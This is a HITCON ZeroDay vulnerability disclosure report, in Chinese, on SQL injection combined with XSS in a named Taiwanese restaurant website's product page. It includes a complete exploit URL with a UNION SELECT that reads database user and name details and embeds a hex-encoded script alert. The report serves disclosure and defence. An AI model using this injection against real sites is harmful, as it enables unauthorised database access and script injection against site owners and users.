正宗排骨飯網站存在SQL注入混搭XSS - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2016-00049
  • Vendor: 正忠排骨飯
  • Title: 正宗排骨飯網站存在SQL注入混搭XSS
  • Introduction: 存在SQLinjection和XSS,可能導致惡意的利用。

處理狀態

目前狀態

公開
Last Update : 2016/05/25
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2016/03/03 02:05:44 : 新提交 (由 Mico 更新此狀態)
  • 2016/03/03 13:03:45 : 新提交 (由 Mico 更新此狀態)
  • 2016/03/04 00:47:57 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2016/03/25 22:20:04 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2016/05/25 00:35:43 : 公開 (由 HITCON ZeroDay 服務團隊 更新此狀態)

詳細資料

  • ZDID:ZD-2016-00049
  • 通報者:mico (Mico)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

敘述

>>http://www.jengjong.tidi.tw/product_small_show.php?lang=1&product_id=11

product_small_show.php 存在SQL Injection 並可透過Sql Injection 組成XSS攻擊

<-------
<script>var a='Xss of SQL injection';alert(a);</script> 轉Hex:

0x3C7363726970743E76617220613D27587373206F662053514C20696E6A656374696F6E273B616C6572742861293B3C2F7363726970743E

------->

最終惡意URL (SQL Injection 湊合 XSS彈窗 ):
http://www.jengjong.tidi.tw/product_small_show.php?lang=1&amp;product_id=11%20union%20select%201,2,user(),4,0x3C7363726970743E76617220613D27587373206F662053514C20696E6A656374696F6E273B616C6572742861293B3C2F7363726970743E,database(),7,8,9,10,11,12,13,14

圖片為情境圖

擷圖

留言討論

;